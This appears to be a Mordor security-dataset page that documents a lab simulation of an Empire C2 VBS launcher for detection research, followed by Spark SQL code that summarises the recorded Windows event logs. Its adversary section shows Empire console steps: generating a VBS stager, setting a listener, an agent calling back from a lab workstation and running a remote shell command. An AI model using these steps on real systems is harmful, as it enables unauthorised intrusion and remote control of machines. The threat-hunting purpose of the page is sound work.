Empire VBS Execution

Metadata

Author

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2019/05/18

Modification Date

2020/09/20

Tactics

[‘TA0002’]

Techniques

[‘T1059.005’]

Tags

[‘VBS Script Execution’]

Dataset Description

This dataset represents adversaries executing a VBS script as a launcher for initial access.

Notebooks

Notebooks created by the community leveraging the mordor datasets

Author

Name

Link

Simulation Plan

Environment

Tool Type

Module

Mordor shire

C2

launcher

Adversary View

(Empire: listeners) > usestager windows/launcher_vbs
(Empire: stager/windows/launcher_vbs) > info

Name: VBS Launcher

Description:
  Generates a .vbs launcher for Empire.

Options:

  Name             Required    Value             Description
  ----             --------    -------           -----------
  Listener         True                          Listener to generate stager for.
  Language         True        powershell        Language of the stager to generate.
  StagerRetries    False       0                 Times for the stager to retry
                                                connecting.
  OutFile          False       /tmp/launcher.vbs File to output .vbs launcher to,
                                                otherwise displayed on the screen.
  Obfuscate        False       False             Switch. Obfuscate the launcher
                                                powershell code, uses the
                                                ObfuscateCommand for obfuscation types.
                                                For powershell only.
  ObfuscateCommand False       Token\All\1       The Invoke-Obfuscation command to use.
                                                Only used if Obfuscate switch is True.
                                                For powershell only.
  UserAgent        False       default           User-agent string to use for the staging
                                                request (default, none, or other).
  Proxy            False       default           Proxy to use for request (default, none,
                                                or other).
  ProxyCreds       False       default           Proxy credentials
                                                ([domain\]username:password) to use for
                                                request (default, none, or other).


(Empire: stager/windows/launcher_vbs) > set Listener http
(Empire: stager/windows/launcher_vbs) > execute

[*] Stager output written out to: /tmp/launcher.vbs

(Empire: stager/windows/launcher_vbs) > 
[*] Sending POWERSHELL stager (stage 1) to 172.18.39.5
[*] New agent K47LRAEP checked in
[+] Initial agent K47LRAEP from 172.18.39.5 now active (Slack)
[*] Sending agent (stage 2) to K47LRAEP at 172.18.39.5

(Empire: stager/windows/launcher_vbs) > agents

[*] Active agents:

Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen            Listener
----     -- -----------     ------------      --------                -------            ---    -----    ---------            ----------------
K47LRAEP ps 172.18.39.5     WORKSTATION5      THESHIRE\pgustavo       powershell         2316   5/0.0    2020-09-04 20:10:07  http            

(Empire: agents) > interact K47LRAEP
(Empire: K47LRAEP) > 
(Empire: K47LRAEP) > shell whoami
[*] Tasked K47LRAEP to run TASK_SHELL
[*] Agent K47LRAEP tasked with task ID 1
(Empire: K47LRAEP) > 
theshire\pgustavo
..Command execution completed.

(Empire: K47LRAEP) > 
(Empire: K47LRAEP) > 

Explore Mordor Dataset

Initialize Analytics Engine

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/execution/host/empire_launcher_vbs.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+---------------------------+----------------------------------------+-------+-----+
|Hostname                   |Channel                                 |EventID|count|
+---------------------------+----------------------------------------+-------+-----+
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |12     |411  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |7      |312  |
|WORKSTATION6.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |179  |
|WORKSTATION5.theshire.local|Security                                |4658   |159  |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |10     |145  |
|WORKSTATION5.theshire.local|Windows PowerShell                      |800    |126  |
|WORKSTATION5.theshire.local|Microsoft-Windows-PowerShell/Operational|4103   |87   |
|WORKSTATION5.theshire.local|Security                                |4656   |80   |
|WORKSTATION5.theshire.local|Security                                |4690   |80   |
|WORKSTATION5.theshire.local|Security                                |4663   |64   |
|WORKSTATION6.theshire.local|Security                                |4658   |64   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |13     |52   |
|WORKSTATION6.theshire.local|Security                                |4690   |32   |
|WORKSTATION6.theshire.local|Security                                |4656   |32   |
|WORKSTATION6.theshire.local|Security                                |4663   |32   |
|WORKSTATION5.theshire.local|Microsoft-Windows-Sysmon/Operational    |11     |20   |
|MORDORDC.theshire.local    |Security                                |5156   |19   |
|WORKSTATION5.theshire.local|Security                                |5158   |18   |
|MORDORDC.theshire.local    |Microsoft-Windows-Sysmon/Operational    |7      |12   |
|WORKSTATION5.theshire.local|Security                                |5156   |12   |
+---------------------------+----------------------------------------+-------+-----+
only showing top 20 rows